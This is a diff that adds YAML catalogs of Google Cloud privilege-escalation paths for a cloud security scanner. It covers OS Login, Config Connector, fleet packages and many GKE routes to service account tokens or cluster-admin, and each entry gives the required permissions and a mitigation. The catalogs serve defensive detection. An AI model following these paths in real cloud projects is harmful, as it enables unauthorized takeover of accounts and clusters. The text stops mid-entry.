6fb9ac51fd + summary: The source may use OS Login administrator access on an exact running VM to reach its attached service account when the VM accepts OS Login and SSH is reachable. + requires: + all_of: + - action: compute.instances.osLogin + resource: '{target.host_resource}' + - action: compute.instances.osAdminLogin + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_actas_granted_on_target: true + gcp_osadminlogin_vm_path: true + scope: any + aggregate_as: SAs of OS Login VMs the source can administer + conditions: + - id: oslogin_enabled + description: An exact running VM must attach the target SA, enable OS Login after instance and project metadata precedence, and have a supported SSH path. Missing route or firewall evidence stays unresolved. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + - id: twofa + description: OS Login 2FA, if enforced, requires the source's second factor. + - id: external_user + description: A user outside the VM's organization also needs organization-level compute.oslogin.updateExternalUser. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Grant roles/compute.osAdminLogin only on specific VMs and keep privileged SAs off interactive VMs. + notes: Both compute.instances.osLogin and compute.instances.osAdminLogin are checked on the same VM. Direct public SSH is checked from a public IP and applicable firewall evidence; IAP and other private routes remain unresolved. An attached SA from another project remains unresolved until its cross-project usage policy is assessed. CLI helpers may also require compute.instances.get and compute.projects.get. + +- id: gcp-compute-instances-oslogin + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Log in as an unprivileged user to an OS Login VM and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancesoslogin + source_revision: 171e422 + summary: The source may use standard OS Login on an exact running VM to reach its attached service account when the VM accepts OS Login and SSH is reachable. + requires: + all_of: + - action: compute.instances.osLogin + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_actas_granted_on_target: true + gcp_oslogin_vm_path: true + scope: any + aggregate_as: "SAs of OS Login VMs the source can log in to" + conditions: + - id: oslogin_enabled + description: An exact running VM must attach the target SA, enable OS Login after instance and project metadata precedence, and have a supported SSH path. Missing route or firewall evidence stays unresolved. + - id: metadata_server_reachable_unprivileged + description: HackTricks only states the login is without root; reaching the SA assumes the local metadata server is not firewalled from unprivileged users on that image. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + - id: twofa + description: OS Login 2FA, if enforced, requires the source's second factor. + - id: external_user + description: A user outside the VM's organization also needs organization-level compute.oslogin.updateExternalUser. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Grant roles/compute.osLogin only on specific VMs and keep privileged SAs off interactive VMs. + notes: Non-root login; SA token access from an unprivileged shell is an inference, hence conditional. Direct public SSH is checked from a public IP and applicable firewall evidence; IAP and other private routes remain unresolved. An attached SA from another project remains unresolved until its cross-project usage policy is assessed. + +- id: gcp-compute-instancegroupmanagers-update-template + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Repoint an existing managed instance group to a new instance template + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancegroupmanagersupdate--templatevm-permissions--hijack-an-existing-managed-instance-group + source_revision: 171e422 + summary: A source that can replace an existing managed instance group's template may run controlled startup code as a service account that the group's Google APIs Service Agent can attach. + requires: + all_of: + - action: compute.instanceGroupManagers.update + resource: "*" + - action: compute.instanceTemplates.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_mig_existing_template_path: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable by MIG-recreated VMs in {project}" + conditions: + - id: existing_mig + description: An exact inventoried MIG must use a readable template, be covered by the source's update permission, and have proactive rollout and a positive target size. + - id: supporting_permissions + description: The source must be able to create and use a replacement template, create instances and disks, set startup metadata, and use the observed image and subnet resources. + - id: service_agent_actas + description: The exact project's Google APIs Service Agent must have effective iam.serviceAccounts.actAs on the selected service account. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict compute.instanceGroupManagers.update and compute.instanceTemplates.create (roles/compute.instanceAdmin.v1) and narrow the Google APIs Service Agent's Service Account User grants. + references: + - https://docs.cloud.google.com/compute/docs/access/iam + - https://docs.cloud.google.com/compute/docs/reference/rest/v1/instanceGroupManagers/setInstanceTemplate + notes: This is a conditional prospective path through a replacement template and proactive rollout. The current template supplies a known working baseline; the new template may select another service account only when the same project's service agent has actAs on it. A completed VM rollout and usable token have not been observed. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/configcontroller.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/configcontroller.yaml new file mode 100644 index 0000000000..94c98da712 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/configcontroller.yaml @@ -0,0 +1,87 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Config Controller / Config Connector (KCC) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-config-controller-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# The target is a bounded project IAM grant through a collected KCC identity and watched namespace. +- id: gcp-configcontroller-kcc-resource-write + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: configcontroller + title: Change project IAM through Config Connector + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kubernetes-rbac-over-a-kcc-resource--act-as-the-configured-config-connector-identity + source_revision: 171e422 + summary: The source can gain project IAM control when it can create an IAMPolicyMember or update an existing IAMPolicy or IAMPartialPolicy in a watched namespace and the configured Config Connector identity can read and set that project's IAM policy. + requires: + any_of: + - - action: container.thirdPartyObjects.create + resource: '{target.host_resource}' + - - action: container.thirdPartyObjects.update + resource: '{target.host_resource}' + - - action: container.clusters.get + resource: '{target.host_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_kcc_project_policy_grant: true + scope: any + outcome: permission_grant + grants: + - resourcemanager.projects.setIamPolicy + aggregate_as: Project IAM grants available through Config Connector + conditions: + - id: admission + description: Policy Controller constraints or validating webhooks can reject the manifest; reconciliation is not proven by IAM permission alone. + - id: api_server_reachable + description: The principal still needs a usable route and authentication to the cluster API server. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict write access to KCC custom resources (in-cluster RBAC and container.thirdPartyObjects.*) and grant the Config Connector identity only the IAM permissions it needs (never roles/owner). + references: + - https://docs.cloud.google.com/config-connector/docs/how-to/install-manually + - https://docs.cloud.google.com/kubernetes-engine/docs/reference/api-permissions + notes: Create and update are bound to different collected resources. The caller can hold GKE IAM object permissions or exact namespace RBAC for create, update, or patch, and needs container.clusters.get for a derived authenticated route. This path grants project IAM control, not the Config Connector service account's full identity. Other KCC resources may create additional paths when their exact prerequisites are established. + +- id: gcp-configcontroller-kcc-service-account-key + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: configcontroller + title: Obtain a service account key through Config Connector + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kcc-iamserviceaccountkey-plus-secret-read--mint-a-long-lived-key-for-a-more-privileged-service-account + source_revision: 171e422 + summary: The caller can create an IAMServiceAccountKey through GKE IAM or namespace RBAC and obtain a target service account credential by reading the generated key or providing a public key whose private half it holds. + requires: + any_of: + - - action: container.thirdPartyObjects.create + resource: '*' + - - action: container.clusters.get + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_kcc_generated_key_secret: true + scope: any + aggregate_as: Service accounts whose generated Config Connector keys the caller could read + conditions: + - id: generated_secret + description: Config Connector must reconcile a new key. The generated-key routes need Secret or key-resource read; the supplied-public-key route needs the matching private key. A conflicting name or admission policy may prevent reconciliation. + - id: api_server_reachable + description: The caller needs a usable authenticated route to the cluster API server. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: conditional + severity: critical + mitigation: Restrict KCC key-resource creation and Secret reads in watched namespaces, limit the controller's service-account-key permissions, and enforce both key-creation and key-upload organization policies. + references: + - https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iamserviceaccountkey + - https://docs.cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts.keys/upload + - https://docs.cloud.google.com/resource-manager/docs/organization-policy/restricting-service-accounts + - https://docs.cloud.google.com/kubernetes-engine/docs/reference/api-permissions + notes: The actor needs key-resource create through GKE IAM or namespace RBAC and either a key-reading route on the same namespace or a supplied public key. GCP callers need container.clusters.get for a derived authenticated route. The controller's key permissions are checked on the exact target service account. Creation and upload have separate effective organization policies. Missing policy or cluster-access evidence remains unresolved. The private key is not read by the scanner. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/configdelivery.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/configdelivery.yaml new file mode 100644 index 0000000000..91d33cc3d2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/configdelivery.yaml @@ -0,0 +1,49 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Config Delivery (fleet packages) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-config-delivery-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-configdelivery-fleetpackage-publish + provider: gcp + service: configdelivery + title: Publish a resource-bundle release to fleet clusters through a fleet package + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md#resourcebundlescreate--releasescreate--variantscreate--releasesupdate--fleetpackagescreate--publish-manifests-to-fleet-clusters + source_revision: 6fb9ac51fd + summary: The source may publish a manifest that grants cluster-admin on an exact fleet member when Config Sync is enabled and the package's new or existing RootSync has default cluster-admin authority. + requires: + all_of: + - action: configdelivery.resourceBundles.create + resource: "*" + - action: configdelivery.releases.create + resource: "*" + - action: configdelivery.releases.update + resource: "*" + - action: configdelivery.variants.create + resource: "*" + any_of: + - - action: configdelivery.fleetPackages.create + resource: "*" + - - action: configdelivery.fleetPackages.update + resource: "*" + target: + kind: k8s_cluster_admin + selector: + gcp_configdelivery_fleet_target: true + scope: cluster + aggregate_as: "Cluster admin through Config Delivery on selected fleet members" + conditions: + - id: fleet_selection + description: Only fleet members matched by the fleet package target selector are reached (an empty selector matches all members); Config Sync must be enabled on them. + - id: reconciler_rbac + description: A new package creates its own RootSync with default cluster-admin. An existing package uses its namesake RootSync, whose customized RBAC or admission policy may limit what is applied. + blockers: + - gcp_deny_policy + - admission_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/configdelivery.configDeliveryAdmin and fleetPackages create/update; narrow Config Sync reconciler RBAC. + references: + - https://docs.cloud.google.com/kubernetes-engine/config-sync/docs/concepts/architecture + - https://cloud.google.com/kubernetes-engine/enterprise/config-sync/docs/how-to/fleet-packages + notes: Fleet membership and Config Sync enablement must be joined to the exact cluster. Create and update permissions are checked separately on the fleet host project. A new package uses a new default RootSync; update needs an existing package and the matching RootSync, or an excluded member for which the retargeted package will create one. Admission and successful reconciliation remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/container.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/container.yaml new file mode 100644 index 0000000000..e184a296d8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/container.yaml @@ -0,0 +1,687 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP GKE (container.googleapis.com) and Fleet (gkehub) privilege escalation techniques, GCP-IAM side. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-container-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# GKE IAM container.* permissions are granted at project level and apply to every cluster in the project, in addition +# to in-cluster RBAC. k8s_cluster_admin targets follow the Azure AKS convention: resource "{target.scope}" = the cluster, +# selector any_principal_in_scope, scope cluster. In-cluster Kubernetes SA reach (pod tokens, secrets) is left to +# catalog/k8s. attached_to_service: gke_nodepool -> SA attached to the cluster's node pool VMs. + +- id: gcp-container-clusterroles-bind + provider: gcp + service: container + title: Bind a privileged ClusterRole to oneself through GKE IAM bind permission + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerrolesbind--containerclusterrolesbind + source_revision: 6fb9ac51fd + summary: The source may bind itself to a confirmed cluster-admin ClusterRole on an exact running GKE cluster when it can create a ClusterRoleBinding, or update an existing binding that already references that role. + requires: + all_of: + - action: container.clusterRoles.bind + resource: '{target.scope}' + any_of: + - - action: container.clusterRoleBindings.create + resource: '{target.scope}' + - - action: container.clusterRoleBindings.update + resource: '{target.scope}' + target: + kind: k8s_cluster_admin + selector: + gcp_gke_clusterrole_bind: true + scope: cluster + aggregate_as: Cluster admin of GKE cluster {target.scope} + conditions: + - id: api_server_reachable + description: Private clusters / master authorized networks require network reachability to the API server (or Connect Gateway access). + - id: credentials + description: Obtaining a kubeconfig normally uses container.clusters.get/getCredentials; endpoint and CA can also come from elsewhere. + - id: existing_cluster_role_and_binding + description: The cluster-admin ClusterRole must exist with wildcard resource rights. Updating a binding works only if an existing ClusterRoleBinding already references that ClusterRole, because roleRef cannot be changed. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Do not grant container.clusterRoles.bind/escalate (roles/container.admin) outside cluster administrators. + references: + - https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control + notes: 'The bind permission follows the referenced role kind. A missing joined Kubernetes RBAC inventory or uncertain principal authentication remains unresolved instead of claiming cluster-admin.' + +- id: gcp-container-clusterroles-escalate + provider: gcp + service: container + title: Widen a ClusterRole bound to the source through GKE IAM escalate permission + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerrolesescalate--containerclusterrolesescalate + source_revision: 6fb9ac51fd + summary: The source may gain cluster-admin rights by widening an existing ClusterRole already bound to it cluster-wide, or by creating a missing ClusterRole referenced by an existing binding to it. + requires: + all_of: + - action: container.clusterRoles.escalate + resource: '{target.scope}' + any_of: + - - action: container.clusterRoles.update + resource: '{target.scope}' + - - action: container.clusterRoles.create + resource: '{target.scope}' + target: + kind: k8s_cluster_admin + selector: + gcp_gke_clusterrole_escalate: true + scope: cluster + aggregate_as: Cluster admin of GKE cluster {target.scope} + conditions: + - id: bound_role_exists + description: With update, an existing non-aggregated ClusterRole must be bound cluster-wide to the source. With create, an existing ClusterRoleBinding must reference a missing ClusterRole name and already reach the source. An unrelated binding grants nothing. + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Do not grant container.clusterRoles.escalate outside cluster administrators. + notes: 'An aggregated ClusterRole has controller-owned rules, so a direct rules update is unresolved. Missing joined RBAC or Google-principal authentication stays unresolved; namespaced bindings remain in the namespaced RBAC technique.' + +- id: gcp-container-pod-template-node-sa + provider: gcp + service: container + title: Create or update a workload whose pod reads the node pool service account from the metadata server + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#workload-and-pod-create--update-permissions + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the node pool service accounts of GKE clusters in projects where it can create pods or pod-template workloads. + requires: + any_of: + - - action: container.pods.create + resource: '*' + - - action: container.deployments.create + resource: '*' + - - action: container.daemonSets.create + resource: '*' + - - action: container.jobs.create + resource: '*' + - - action: container.cronJobs.create + resource: '*' + - - action: container.statefulSets.create + resource: '*' + - - action: container.replicaSets.create + resource: '*' + - - action: container.replicationControllers.create + resource: '*' + - - action: container.deployments.update + resource: '*' + - - action: container.daemonSets.update + resource: '*' + - - action: container.statefulSets.update + resource: '*' + - - action: container.cronJobs.update + resource: '*' + - - action: container.replicaSets.update + resource: '*' + - - action: container.replicationControllers.update + resource: '*' + - - action: container.pods.update + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: gke_nodepool + gcp_gke_pod_template_node_sa: true + scope: any + aggregate_as: GKE node pool SAs of {project} + conditions: + - id: metadata_reachable + description: Pods reach the node SA only when the node pool does not use GKE metadata server / Workload Identity (GKE_METADATA) or metadata concealment, and network policy does not block the metadata + address. + - id: access_scopes + description: The usable token is limited by the node pool's OAuth access scopes. + - id: admission + description: Admission policies (Pod Security, Policy Controller, Binary Authorization) may reject the workload. + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + - pod_security_admission + - admission_policy + confidence: conditional + severity: high + mitigation: Enable Workload Identity Federation for GKE on all node pools, use least-privilege node SAs and restrict container.*.create. + notes: Kubernetes service account reach through the pod template (including KSAs bound to Google SAs through Workload Identity) is modelled by gcp-container-pod-template-ksa. The node SA route requires a compatible node pool in the exact cluster. Controller update needs an existing mutable template; pods.update needs an existing running Pod on that pool and cannot change its host network setting. Job update cannot change the template. Cross-project node SAs can be reached when they are attached to the matching node pool. + +- id: gcp-container-pods-exec-node-sa + provider: gcp + service: container + title: Exec into a pod and read the node pool service account from the metadata server + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsexec + source_revision: 171e422 + summary: The source can run a command in an existing container on a GKE Standard node whose metadata exposes that node pool's service account. + requires: + all_of: + - action: container.pods.exec + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: gke_nodepool + gcp_gke_pod_exec_node_sa: true + scope: any + aggregate_as: "GKE node pool SAs of {project}" + conditions: + - id: metadata_reachable + description: GCE_METADATA and SECURE expose the node service account; GKE_METADATA needs a host-network Pod that reaches node metadata. + - id: running_pod + description: Needs a named running Pod and container on a labeled node in that pool, with a command available in the image to request the metadata token. + - id: access_scopes + description: The usable token is limited by the node pool's access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Enable Workload Identity Federation for GKE and restrict container.pods.exec. + notes: Exec also yields mounted KSA tokens and, with Workload Identity, the pod's bound GSA; those are not modelled here. The exact cluster and node pool are checked even if the node service account belongs to another project. Distroless containers may not contain an executable that can request metadata, so execution remains conditional. + +- id: gcp-container-nodes-proxy-node-sa + provider: gcp + service: container + title: Run commands in containers through the kubelet node proxy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containernodesproxy + source_revision: 171e422 + summary: The source may obtain a GKE node's service account token by using the node proxy to execute in a running Pod on that node when the Pod can reach Compute Engine metadata. + requires: + all_of: + - action: container.nodes.proxy + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_gke_node_proxy_sa: true + scope: any + aggregate_as: "GKE node pool service accounts reachable through kubelet" + conditions: + - id: kubelet_run_endpoint + description: The kubelet must serve a command-execution endpoint for the named running Pod, and the client must speak its streaming protocol. + - id: metadata_reachable + description: Ordinary Pods need GCE_METADATA; on GKE_METADATA pools, an existing hostNetwork Pod can reach Compute Engine metadata. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict container.nodes.proxy and enable Workload Identity Federation for GKE. + notes: Exact node-pool configuration is joined to a labeled Kubernetes Node and a running Pod on it. Missing or ambiguous joins, private API endpoints, and Autopilot node restrictions remain unresolved. + +- id: gcp-container-serviceaccounts-createtoken + provider: gcp + service: container + title: Mint a token for a privileged Kubernetes service account through GKE IAM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerserviceaccountscreatetoken + source_revision: 171e422 + summary: The source can obtain the privileges of every Kubernetes service account in GKE clusters covered by its container.serviceAccounts.createToken grant. That is cluster-admin when one of those KSAs is admin-equivalent. + requires: + all_of: + - action: container.serviceAccounts.createToken + resource: "{target.scope}" + - action: container.clusters.get + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_token_request_ksa: true + scope: cluster + aggregate_as: "KSAs of GKE cluster {target.scope}" + conditions: + - id: ksa_rbac + description: The reached privileges are the Kubernetes RBAC (and any Workload Identity binding) of each KSA. The edge reaches cluster-admin only through a KSA that is cluster-admin-equivalent. + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict container.serviceAccounts.createToken (roles/container.developer and above) and avoid cluster-admin KSAs. + notes: GKE clusters ship system KSAs in kube-system with broad RBAC; whether one is cluster-admin-equivalent depends on version. The evaluator requires an existing non-deleting KSA in the exact running cluster and checks API reachability. container.clusters.get is required by GKE's IAM-authenticated API flow for a Google identity (HackTricks @171e422); a caller holding a native Kubernetes credential could use RBAC create on serviceaccounts/token instead (k8s catalog). + +- id: gcp-container-secrets-read-ksa-token-secret + provider: gcp + service: container + title: Read Kubernetes service-account token Secrets through GKE IAM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containersecretsget--containersecretslist + source_revision: 171e422 + summary: The source can obtain the privileges of Kubernetes service accounts that have a kubernetes.io/service-account-token Secret, in GKE clusters covered by its container.secrets.get or container.secrets.list grant. That is cluster-admin when such an account is admin-equivalent. + requires: + all_of: + - action: container.clusters.get + resource: "{target.scope}" + any_of: + - - action: container.secrets.get + resource: "{target.scope}" + - - action: container.secrets.list + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_secret_ksa: true + scope: cluster + aggregate_as: "KSAs with token Secrets in GKE cluster {target.scope}" + conditions: + - id: token_secret_exists + description: The edge holds only if the cluster has a kubernetes.io/service-account-token Secret. Since Kubernetes 1.24 these are no longer auto-created per service account, so only manually created or legacy token Secrets count. The reached privileges are the RBAC of the KSA that the Secret references; this reaches cluster-admin only when that KSA is cluster-admin-equivalent. + - id: secret_name_known_for_get + description: With container.secrets.get alone, the Secret name and namespace must be known. container.secrets.list returns Secret data directly. + - id: api_server_reachable + description: The cluster API server must be reachable from the source (private endpoint and authorized networks may limit this). + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Remove container.secrets.get/list from broad project-level roles (roles/container.developer, roles/container.admin, roles/editor). Delete legacy service-account token Secrets and use short-lived TokenRequest tokens instead. + references: + - https://docs.cloud.google.com/kubernetes-engine/docs/concepts/access-control + - https://docs.cloud.google.com/iam/docs/roles-permissions/container + - https://kubernetes.io/docs/concepts/configuration/secret/#serviceaccount-token-secrets + notes: GKE authorizes a request if either IAM or Kubernetes RBAC allows it. A project-level IAM grant of container.secrets.get/list therefore reads Secrets in every namespace of every cluster in the project, whatever the RBAC. The k8s catalog evaluates RBAC only. A token Secret must reference the exact current KSA UID and must not carry a legacy-token-invalid-since label. Secret metadata omits token bytes, so a populated UID annotation is the control-plane evidence for token creation. A get-only path also needs a discoverable exact Secret name; otherwise it remains unresolved. + +- id: gcp-container-clusters-nodepools-create-actas + provider: gcp + service: container + title: Create a GKE cluster or node pool running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclusterscreate-or-containerclustersupdate--iamserviceaccountsactas--run-new-nodes-as-an-attacker-chosen-sa + source_revision: 171e422 + summary: The source may obtain a chosen service account's node token by creating a Standard cluster or node pool and running a pod on those nodes. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_gke_node_sa_actas: true + scope: any + aggregate_as: "Service accounts usable by GKE nodes" + conditions: + - id: run_pod + description: Reading the node token needs the source to run a pod on the new nodes. The modeled path requires cluster authentication and Pod creation through IAM or, for an existing cluster, joined Kubernetes RBAC. + - id: workload_metadata + description: The attacker can choose GCE_METADATA and cloud-platform scopes at create time; org policies may restrict these settings. + - id: cross_project_node_service_account + description: A node service account in another project also needs cross-project use enabled and the cluster project's Compute Engine and GKE service agents granted their required access. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs and restrict container.clusters.create and container.clusters.update. + notes: actAs is enforced at cluster/node-pool create time. There is no container.nodePools.* IAM permission. Google's GKE API permissions reference maps projects.locations.clusters.nodePools.create to container.clusters.update on the exact cluster. The modeled route also requires the source to authenticate to that cluster and create a pod; the new-cluster route needs those rights inherited from the project. + +- id: gcp-gkehub-rbacrolebindings-gateway + provider: gcp + service: container + title: Push fleet-managed in-cluster RBAC through a fleet RBAC role binding and connect via Connect Gateway + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehubrbacrolebindingscreate--fleet-managed-in-cluster-rbac + source_revision: 6fb9ac51fd + summary: The source may gain cluster-admin-equivalent access on an exact fleet-member cluster by creating a binding to an eligible custom ClusterRole or updating a binding that already exists, provided it can reach the cluster API. + requires: + any_of: + - - action: gkehub.rbacrolebindings.create + resource: '*' + - - action: gkehub.rbacrolebindings.update + resource: '*' + target: + kind: k8s_cluster_admin + selector: + gcp_fleet_rbac_admin_target: true + scope: cluster + aggregate_as: Cluster admin through fleet RBAC on {cluster} + conditions: + - id: fleet_scope_membership + description: The target cluster and its fleet membership must be ready. A scope binding must target a scope that contains this exact membership. + - id: fleet_role_not_cluster_admin + description: The predefined ADMIN fleet role grants admin-level (edit plus RBAC management) Kubernetes access, not cluster-admin; reaching cluster-admin needs an allowed custom role mapped to an equivalent + ClusterRole, or onward pivots such as creating pods with privileged service accounts. + - id: mutating_verbs + description: Write operations through the gateway need gkehub.gateway.post/put/patch/delete and exec needs gkehub.gateway.stream. + - id: access_path + description: gkehub.memberships.setIamPolicy works by self-granting a Connect Gateway role on the membership; container.clusters.get is the direct GKE endpoint path and additionally needs network reachability + to the API server (private endpoint / master authorized networks). + - id: update_existing + description: gkehub.rbacrolebindings.update needs an existing fleet RBAC role binding to repoint to the source or to a stronger role. + - id: prior_cluster_admin + description: An existing ClusterRoleBinding already giving this Google user broad cluster administration is not a new privilege gain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict gkehub.rbacrolebindings.* and gkehub.gateway.* (both included in basic roles/editor). + notes: 'HackTricks @6fb9ac51fd: exact membership or scope create, or update on an existing exact binding, plus an observed broad custom ClusterRole and a gateway or direct access path. Predefined Fleet ADMIN is below Kubernetes cluster-admin. A Fleet Admin can self-grant gateway transport through gkehub.memberships.setIamPolicy.' + +- id: gcp-gkehub-features-configmanagement + provider: gcp + service: container + title: Point fleet Config Management at an attacker source to push manifests into member clusters + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#config-management-source-change-for-a-fleet-member + source_revision: 171e422 + summary: The source may gain the Config Sync reconciler's privileges on a joined fleet-member cluster when it can change that member's Config Management source through the fleet Feature or MembershipFeature API. + requires: + any_of: + - - action: gkehub.features.create + resource: "*" + - - action: gkehub.features.update + resource: "*" + - - action: gkehub.membershipfeatures.create + resource: "*" + - - action: gkehub.membershipfeatures.update + resource: "*" + target: + kind: k8s_cluster_admin + selector: + gcp_fleet_config_management_target: true + scope: cluster + aggregate_as: "Cluster admin of joined fleet member {target.scope}" + conditions: + - id: member_targeting + description: The matching fleet Feature or MembershipFeature mutation must target this member; Config Sync must be supported and its selected Git or OCI source reachable. + - id: configsync_privilege + description: Pushed manifests are applied by ConfigSync with its in-cluster RBAC (normally cluster-wide); admission policies may still reject privileged workloads. + blockers: + - gcp_deny_policy + - admission_policy + confidence: conditional + severity: critical + mitigation: Restrict Config Management Feature and MembershipFeature mutations to trusted fleet operators and use limited Config Sync reconciler roles where possible. + +- id: gcp-container-clusters-impersonate + provider: gcp + service: container + title: Impersonate privileged Kubernetes users or groups through GKE IAM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersimpersonate--kubernetes-usergroup-impersonation---as-groupsystemmasters + source_revision: 171e422 + summary: The source can obtain the privileges of cluster-admin on GKE Standard clusters where it holds container.clusters.impersonate, by impersonating system:masters or another privileged Kubernetes identity. + requires: + all_of: + - action: container.clusters.impersonate + resource: "{target.scope}" + - action: container.clusters.get + resource: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + gcp_gke_system_impersonation: true + scope: cluster + aggregate_as: "Cluster admin of GKE cluster {target.scope}" + conditions: + - id: autopilot_or_no_system_impersonation + description: Autopilot clusters (and Standard clusters with the no-system-impersonation policy) reject impersonation of system users and groups such as system:masters; there only user-defined identities with existing RBAC are reachable. + - id: api_server_reachable + description: Private endpoints / master authorized networks require network reachability to the API server. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Do not grant container.clusters.impersonate (roles/container.admin) outside cluster administrators; enable no-system-impersonation where supported. + references: + - https://docs.cloud.google.com/kubernetes-engine/docs/how-to/iam + - https://docs.cloud.google.com/kubernetes-engine/docs/concepts/autopilot-security + notes: GKE authorizes impersonation headers through its IAM authorizer fallback, so no RBAC binding is needed. + +- id: gcp-container-updatenodepool-expose-node-sa + provider: gcp + service: container + title: Downgrade a node pool's workload metadata mode to expose its service account to pods + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersupdate-updatenodepool--expose-an-existing-node-pools-sa-to-pods + source_revision: 171e422 + summary: The source can obtain the privileges of the node service account of GKE Standard node pools in clusters where it holds container.clusters.update, by switching the pool from GKE_METADATA to GCE_METADATA and reading the token from a pod. + requires: + all_of: + - action: container.clusters.update + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: gke_nodepool + 